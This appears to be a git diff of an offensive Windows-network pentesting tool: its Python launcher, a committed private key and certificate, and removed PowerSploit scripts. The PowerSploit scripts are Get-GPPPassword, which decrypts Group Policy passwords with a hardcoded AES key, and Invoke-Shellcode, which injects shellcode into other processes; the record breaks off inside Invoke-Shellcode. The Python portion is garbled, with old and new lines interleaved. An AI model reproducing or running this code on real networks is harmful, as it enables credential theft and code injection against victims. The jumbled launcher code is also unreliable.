wgroup.add_argument("--name", dest='service_name', metavar='NAME', help='Service name')
wgroup.add_argument("--display", dest='service_display_name', metavar='NAME', help='Service display name')
wgroup.add_argument("--bin-path", dest='service_bin_path', metavar='PATH', help='Binary path')
wgroup.add_argument("--service-type", metavar='TYPE', help='Service type')
wgroup.add_argument("--start-type", metavar='TYPE', help='Service start type')
wgroup.add_argument("--start-name", metavar='NAME', help='Name of the account under which the service should run')
wgroup.add_argument("--start-pass", metavar='PASS', help='Password of the account whose name was specified with the --start-name parameter')
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DB's")
mgroup.add_argument("--mssql", action='store_true', help='Authenticate with the provided credentials against the MSSQL service')
mgroup.add_argument("--mssql-port", default=1433, metavar='PORT', help='MSSQL service port (default: 1433)')
mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DBs")
mgroup.add_argument("--mssql", action='store_true', help='Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs')
mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB')
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
module = None
server = None
context = None
targets = []
server_port_dict = {'http': 80, 'https': 443}
args = parser.parse_args()
patterns = []
targets = []
if args.server == 'http':
if args.server_port:
args.http_port = args.server_port
else:
args.server_port = 80
if args.server == 'https':
if args.server_port:
args.https_port = args.server_port
else:
args.server_port = 443
init_args(args)
if args.verbose:
setup_logger('_'.join(args.target), DEBUG)
setup_debug_logger()
logger = CMEAdapter(setup_logger())
if os.geteuid() is not 0:
logger.error("I'm sorry {}, I'm afraid I can't let you do that".format(getpass.getuser()))
sys.exit(1)
if not args.server_port:
args.server_port = server_port_dict[args.server]
try:
# set the database connection to autocommit w/ isolation level
db_connection = sqlite3.connect('data/cme.db', check_same_thread=False)
db_connection.text_factory = str
db_connection.isolation_level = None
db = CMEDatabase(db_connection)
except Exception as e:
logger.error("Could not connect to CME database: {}".format(e))
sys.exit(1)
if args.cred_id:
try:
c_id, credtype, domain, username, password = db.get_credentials(filterTerm=args.cred_id)[0]
args.username = [username]
if not args.domain:
args.domain = domain
if credtype == 'hash':
args.hash = [password]
elif credtype == 'plaintext':
args.password = [password]
except IndexError:
logger.error("Invalid database credential ID!")
sys.exit(1)
else:
setup_logger('_'.join(args.target))
for user, passw, ntlm_hash in zip(args.username, args.password, args.hash):
if os.path.exists(user):
args.username.remove(user)
args.username.append(open(user, 'r'))
###################### Just a bunch of error checking to make sure everythings good to go ######################
if os.path.exists(passw):
args.password.remove(passw)
args.password.append(open(passw, 'r'))
if args.inject:
if not args.inject.startswith('met_'):
if not args.path:
print_error("You must specify a '--path' to the Shellcode/EXE/DLL to inject")
shutdown(1)
if os.path.exists(ntlm_hash):
args.hash.remove(ntlm_hash)
args.hash.append(open(ntlm_hash, 'r'))
elif args.path:
if not os.path.exists(args.path):
print_error('Unable to find Shellcode/EXE/DLL at specified path')
shutdown(1)
elif args.inject.startswith('met_'):
if not args.met_options:
print_error("You must specify Meterpreter's handler options using '--met-options'" )
shutdown(1)
if args.spider:
if not args.pattern and not args.patternfile:
print_error("You must specify a --pattern or --patternfile")
shutdown(1)
if args.patternfile:
if not os.path.exists(args.patternfile):
print_error("Unable to find pattern file at specified path")
shutdown(1)
for line in args.patternfile.readlines():
line = line.rstrip()
patterns.append(re.compile(line, re.IGNORECASE))
patterns.extend(re.compile(patt, re.IGNORECASE) for patt in args.pattern.split(','))
args.pattern = patterns
args.exclude_dirs = args.exclude_dirs.split(',')
if args.combo_file and not os.path.exists(args.combo_file):
print_error('Unable to find combo file at specified path')
shutdown(1)
if args.service:
if args.service in ['start', 'stop', 'delete', 'status', 'config', 'change']:
if not args.service_name:
print_error('You must specify a --name')
shutdown(1)
elif args.service == 'create':
if not args.service_name or not args.service_display_name or not args.service_bin_path:
print_error('You must specify --name, --display and --bin-path')
shutdown(1)
if args.ntds_history or args.ntds_pwdLastSet:
if not args.ntds:
print_error('--ntds-history and --ntds-pwdLastSet require --ntds')
shutdown(1)
################################################################################################################
def populate_targets(target):
if '-' in target:
ip_range = target.split('-')
try:
hosts = IPRange(ip_range[0], ip_range[1])
except AddrFormatError:
try:
start_ip = IPAddress(ip_range[0])
start_ip_words = list(start_ip.words)
start_ip_words[-1] = ip_range[1]
start_ip_words = [str(v) for v in start_ip_words]
end_ip = IPAddress('.'.join(start_ip_words))
t = IPRange(start_ip, end_ip)
except AddrFormatError:
t = target
if args.module:
if not os.path.exists(args.module):
logger.error('Path to module invalid!')
sys.exit(1)
else:
try:
t = IPNetwork(target)
except AddrFormatError:
t = target
module = imp.load_source('payload_module', args.module).CMEModule()
if not hasattr(module, 'name'):
logger.error('Module missing the name variable!')
sys.exit(1)
if type(t) == IPNetwork or type(t) == IPRange:
targets.extend(list(t))
else:
targets.append(t)
elif not hasattr(module, 'options'):
logger.error('Module missing the options function!')
sys.exit(1)
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
logger.error('Module missing the on_login/on_admin_login function(s)!')
sys.exit(1)
if args.module_info:
logger.info('{} module description:'.format(module.name))
print module.__doc__
logger.info('{} module options:'.format(module.name))
print module.options.__doc__
sys.exit(0)
module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper()})
context = Context(db, module_logger, args)
module_options = {}
for option in args.module_options:
key, value = option.split('=')
module_options[str(key).upper()] = value
module.options(context, module_options)
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
server = CMEServer(module, context, args.server_port, args.server)
server.start()
for target in args.target:
if os.path.exists(target):
with open(target, 'r') as target_file:
for target_entry in target_file:
populate_targets(target_entry)
targets.extend(parse_targets(target_entry))
else:
populate_targets(target)
targets.extend(parse_targets(target))
if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.tokens or args.inject or args.ntds == 'ninja':
if args.server == 'http':
http_server(args.server_port)
elif args.server == 'https':
https_server(args.server_port)
def concurrency(targets):
try:
'''
Open all the greenlet (as supposed to redlet??) threads
Whoever came up with that name has a fetish for traffic lights
'''
try:
pool = Pool(args.threads)
jobs = [pool.spawn(main_greenlet, str(target)) for target in targets]
pool = Pool(args.threads)
jobs = [pool.spawn(connector, str(target), args, db, module, context, server) for target in targets]
#Dumping the NTDS.DIT can take a long time, so we ignore the thread timeout
if args.ntds:
joinall(jobs)
elif not args.ntds:
for job in jobs:
job.join(timeout=args.timeout)
except KeyboardInterrupt:
shutdown(0)
except KeyboardInterrupt:
pass
concurrency(targets)
if server:
server.shutdown()
if args.mimikatz or args.powerview or args.gpp_passwords or args.mimikatz_cmd or args.tokens or args.inject or args.ntds == 'ninja':
try:
while True:
sleep(1)
except KeyboardInterrupt:
shutdown(0)
logger.info('KTHXBYE!')

1
data/PowerSploit Submodule

@ -0,0 +1 @@
Subproject commit 2a813faedb853d8043446c6d0cad2119ecd62d61

46
data/cme.pem Normal file
View File

@ -0,0 +1,46 @@
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDRddJMuw1pbSLy
KX0FpXmnvjSwCuQexzpTDPHs9mIq90DhPiaXVP4LzRqNQM2sB5AchkQfEkcCme6E
jT1MmMBKPUa5TTLLoXv7b3r6zK9EwoYuWDTAvmuUykaUJt4lfiGHBqVlqIs0fO4t
13kOEYNAcSsXHKsZuTI4lun8Ji4Bw/9FA+dgItQHAEf+5oT0VQ17YFnQY+6jBecj
kU8dpKMBnegM0qmRuwTQcLi8eGp8zo4lXDsDN+niUlfnl0wdmzMKzXvYsQfaa9Je
0aeVfwViH9DVjkvDtXucVdPzz9pqireZLrpQCmDZciuwoUnQ0znMI3vqZCg4Wt4M
p8g0TllbAgMBAAECggEAW2NeuB+8wEzfvGyhob8LD0cL0etOkKc4KVgyjcMKHdj3
M89cIxbwKNH6TbsCgZZjKC7ktfHRja7/xFGjdzIGY93MZ7jo+rOgVpnTPG3l4shE
px/RFG+AnNCMbsNulUks867Qp0QcSHBhsxqaNKsrawh1VoYpmPWWld4yhNNbq2TA
fUHk9vTwUAXVxpZmJ2pg3nWQUTEhOBrwX6walEiMKabZkjmTF9MF4OddNpM0zD/v
O7shtESW1uHt6fY06YFQe7GELWNRu+YuPbNGkCX8Tw5izEnEI0q2sFKYaRzxnujF
gfQ+tn/ZdQeG7yZb4GTOPRX21figOrDgIwHerRMBIQKBgQDqKKNlSvJpqyWkvWwH
SWlVyf8pTTAv5YvopYWodW5YCD2mY1HU56umVyP2jjZuZPUsb6kYUptiyOklYoI4
jxMfe/pVlhmDlxcLk8yJOuc5Li4vk2YdJN0IQQTB+0bseRA7FsAQIThSGdxZRv+H
OuaCMh63X53ohUwIbW8G2r2vwwKBgQDk/2t263gnIbHL2DVZiQnC0qUU4IO1fVqw
vVs47TF44gkdm6bZ2C856SWGly6rgPfFxUrf8TaP15BwmbVziOOhDxEIgqncMBCy
fSbZ0L+wFNXONsgdBwg0qLZSPNDQnWOZVNigKrcOVCQsfazDVLktsRRdTCmWtcmj
ilNUlMzuiQKBgQDKUvDUDg0ldqchEDbumOT2JoJd+n7/c7UPAS5a35THZd93DGxh
rQeow7SkTj8D5iHeEmEmTgJLOdQR5GsmWaGpW6NzHi3PgNZ9v2hEzuuJgbiQjSj3
V6nQfvWQcwDWRMjcdYzgowOaFRRK48jY3PDdYFcgFPNJPRv0UDJV1t19pwKBgCW9
lsd9nUrNudC/rGM6O5qZPs3HBs31f+na+1rRdLLYheoUShZjE712mFGrPuzTD4LP
tjxcM8LXIx37pzUIXYOgyQzfBAGfBlF0YN/LEJyDgo0+6BIoo4iSOaIqFbwcBFsz
6ZPUFmFNKr0OZVe38eD+6z1JHR2Sjk3esUciUvgJAoGBAK+eVKX7Sc2+jXOG8/do
gacP/F1QCt3mZbuuovcRAJ0kU1MsBbMk00OSBJSy5P+QqNiCF3jyIDq+quuQnlij
euhgEhXlLBrDbYSprlBfkPXd753iPzioZPRQ9hepIHKVWXAH6qWrkdrcYLCexW6k
aq0AHaojuhZXj/dC8baWMy05
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIC7TCCAdWgAwIBAgIJAKY3+4SmEM9uMA0GCSqGSIb3DQEBCwUAMA0xCzAJBgNV
BAYTAlVTMB4XDTE2MDMxNjA2NTMyMFoXDTE3MDMxNjA2NTMyMFowDTELMAkGA1UE
BhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDRddJMuw1pbSLy
KX0FpXmnvjSwCuQexzpTDPHs9mIq90DhPiaXVP4LzRqNQM2sB5AchkQfEkcCme6E
jT1MmMBKPUa5TTLLoXv7b3r6zK9EwoYuWDTAvmuUykaUJt4lfiGHBqVlqIs0fO4t
13kOEYNAcSsXHKsZuTI4lun8Ji4Bw/9FA+dgItQHAEf+5oT0VQ17YFnQY+6jBecj
kU8dpKMBnegM0qmRuwTQcLi8eGp8zo4lXDsDN+niUlfnl0wdmzMKzXvYsQfaa9Je
0aeVfwViH9DVjkvDtXucVdPzz9pqireZLrpQCmDZciuwoUnQ0znMI3vqZCg4Wt4M
p8g0TllbAgMBAAGjUDBOMB0GA1UdDgQWBBT1PkNBmPYUiKBCwLbxkkM6HciCUDAf
BgNVHSMEGDAWgBT1PkNBmPYUiKBCwLbxkkM6HciCUDAMBgNVHRMEBTADAQH/MA0G
CSqGSIb3DQEBCwUAA4IBAQCU7SAcL2MMmSavS/TT2R0X2kDjgSzBUwOV01I8hML+
zP5Ik4EbUtDzd+j4ebf8MtX+vYWA12ajfF6odIi66fsXsRhVCDMjSCYbrR6b0bAP
r9VdILYW0dB5HrWvGKrGr/63G2bsIoF1mGvMZwSy2T1K1sJsfcUqHv5yu5ZHIpEh
7aPYZPCpu2jOQbMEjtnoS6HBx5JVvsdcnMWD8xTI0eok3B71cBiU+yaKCCGi0hgZ
tSf8B+78lgcg5Nfpz52uPnWB5amzxAakaGd7CrzUV7iZlw066x+w+EeotfKfFH2H
rkXO/Fi5+LxVXTd5NFN+Zz2LUt6zTldIMKrG76yiy3qa
-----END CERTIFICATE-----

3
hosted/.gitignore vendored
View File

@ -1,3 +0,0 @@
*
!.gitignore
!*.ps1

View File

@ -1,223 +0,0 @@
function Get-CHANGE_ME_HERE {
<#
.SYNOPSIS
Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-GPPPassword searches the domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords.
.EXAMPLE
PS C:\> Get-GPPPassword
NewName : [BLANK]
Changed : {2014-02-21 05:28:53}
Passwords : {password12}
UserNames : {test1}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml
NewName : {mspresenters}
Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48}
Passwords : {Recycling*3ftw!, password123, password1234}
UserNames : {Administrator (built-in), DummyAccount, dummy2}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
NewName : [BLANK]
Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52}
Passwords : {password, password1234$}
UserNames : {administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml
NewName : [BLANK]
Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36}
Passwords : {password, read123}
UserNames : {DEMO\Administrator, admin}
File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml
.EXAMPLE
PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq
password
password12
password123
password1234
password1234$
read123
Recycling*3ftw!
.LINK
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
#>
[CmdletBinding()]
Param ()
#Some XML issues between versions
Set-StrictMode -Version 2
#define helper function that decodes and decrypts password
function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
#define helper function to parse fields from xml files
function Get-GPPInnerFields {
[CmdletBinding()]
Param (
$File
)
try {
$Filename = Split-Path $File -Leaf
[xml] $Xml = Get-Content ($File)
#declare empty arrays
$Cpassword = @()
$UserName = @()
$NewName = @()
$Changed = @()
$Password = @()
#check for password field
if ($Xml.innerxml -like "*cpassword*"){
Write-Verbose "Potential password in $File"
switch ($Filename) {
'Groups.xml' {
$Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Services.xml' {
$Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Scheduledtasks.xml' {
$Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'DataSources.xml' {
$Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Printers.xml' {
$Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
'Drives.xml' {
$Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value}
$Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value}
}
}
}
foreach ($Pass in $Cpassword) {
Write-Verbose "Decrypting $Pass"
$DecryptedPassword = Get-DecryptedCpassword $Pass
Write-Verbose "Decrypted a password of $DecryptedPassword"
#append any new passwords to array
$Password += , $DecryptedPassword
}
#put [BLANK] in variables
if (!($Password)) {$Password = '[BLANK]'}
if (!($UserName)) {$UserName = '[BLANK]'}
if (!($Changed)) {$Changed = '[BLANK]'}
if (!($NewName)) {$NewName = '[BLANK]'}
#Create custom object to output results
$ObjectProperties = @{'Passwords' = $Password;
'UserNames' = $UserName;
'Changed' = $Changed;
'NewName' = $NewName;
'File' = $File}
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
Write-Verbose "The password is between {} and may be more than one value."
if ($ResultsObject) {Return $ResultsObject}
}
catch {Write-Error $Error[0]}
}
try {
#ensure that machine is domain joined and script is running as a domain account
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
#discover potential files containing passwords ; not complaining in case of denied access to a directory
Write-Verbose 'Searching the DC. This could take a while.'
$XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}
Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords."
foreach ($File in $XMLFiles) {
$Result = (Get-GppInnerFields $File.Fullname)
Write-Output $Result
}
}
catch {Write-Error $Error[0]}
}

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

View File

@ -1,513 +0,0 @@
function Invoke-CHANGE_ME_HERE
{
<#
.SYNOPSIS
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.
PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre
PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):
msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2-
Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary.
.PARAMETER ProcessID
Process ID of the process you want to inject shellcode into.
.PARAMETER Shellcode
Specifies an optional shellcode passed in as a byte array
.PARAMETER Force
Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.
.EXAMPLE
C:\PS> Invoke-Shellcode -ProcessId 4274
Description
-----------
Inject shellcode into process ID 4274.
.EXAMPLE
C:\PS> Invoke-Shellcode
Description
-----------
Inject shellcode into the running instance of PowerShell.
.EXAMPLE
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
Description
-----------
Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
#>
[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = 'RunLocal' )]
[ValidateNotNullOrEmpty()]
[Byte[]]
$Shellcode,
[Switch]
$Force = $False
)
Set-StrictMode -Version 2.0
if ( $PSBoundParameters['ProcessID'] )
{
# Ensure a valid process ID was provided
# This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive
Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null
}
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload
function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture)
{
$IntSizePtr = $Architecture / 8
function Local:ConvertTo-LittleEndian ([IntPtr] $Address)
{
$LittleEndianByteArray = New-Object Byte[](0)
$Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } }
[System.Array]::Reverse($LittleEndianByteArray)
Write-Output $LittleEndianByteArray
}
$CallStub = New-Object Byte[](0)
if ($IntSizePtr -eq 8)
{
[Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL RAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL RAX
}
else
{
[Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode
$CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode
$CallStub += 0xFF,0xD0 # CALL EAX
$CallStub += 0x6A,0x00 # PUSH BYTE 0
$CallStub += 0xB8 # MOV DWORD EAX, &ExitThread
$CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread
$CallStub += 0xFF,0xD0 # CALL EAX
}
Write-Output $CallStub
}
function Local:Inject-RemoteShellcode ([Int] $ProcessID)
{
# Open a handle to the process you want to inject into
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
if (!$hProcess)
{
Throw "Unable to open a process handle for PID: $ProcessID"
}
$IsWow64 = $false
if ($64bitOS) # Only perform theses checks if CPU is 64-bit
{
# Determine if the process specified is 32 or 64 bit
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
if ((!$IsWow64) -and $PowerShell32bit)
{
Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
}
elseif ($IsWow64) # 32-bit Wow64 process
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Injecting into a Wow64 process.'
Write-Verbose 'Using 32-bit shellcode.'
}
else # 64-bit process
{
if ($Shellcode64.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode64 variable!'
}
$Shellcode = $Shellcode64
Write-Verbose 'Using 64-bit shellcode.'
}
}
else # 32-bit CPU
{
if ($Shellcode32.Length -eq 0)
{
Throw 'No shellcode was placed in the $Shellcode32 variable!'
}
$Shellcode = $Shellcode32
Write-Verbose 'Using 32-bit shellcode.'
}
# Reserve and commit enough memory in remote process to hold the shellcode
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteMemAddr)
{
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
}
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
# Copy shellcode into the previously allocated memory
$WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null
# Get address of ExitThread function
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
if ($IsWow64)
{
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
Write-Verbose 'Emitting 32-bit assembly call stub.'
}
else
{
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
Write-Verbose 'Emitting 64-bit assembly call stub.'
}
# Allocate inline assembly stub
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
if (!$RemoteStubAddr)
{
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
}
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
# Write 32-bit assembly stub to remote process memory space
$WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null
# Execute shellcode as a remote thread
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
if (!$ThreadHandle)
{
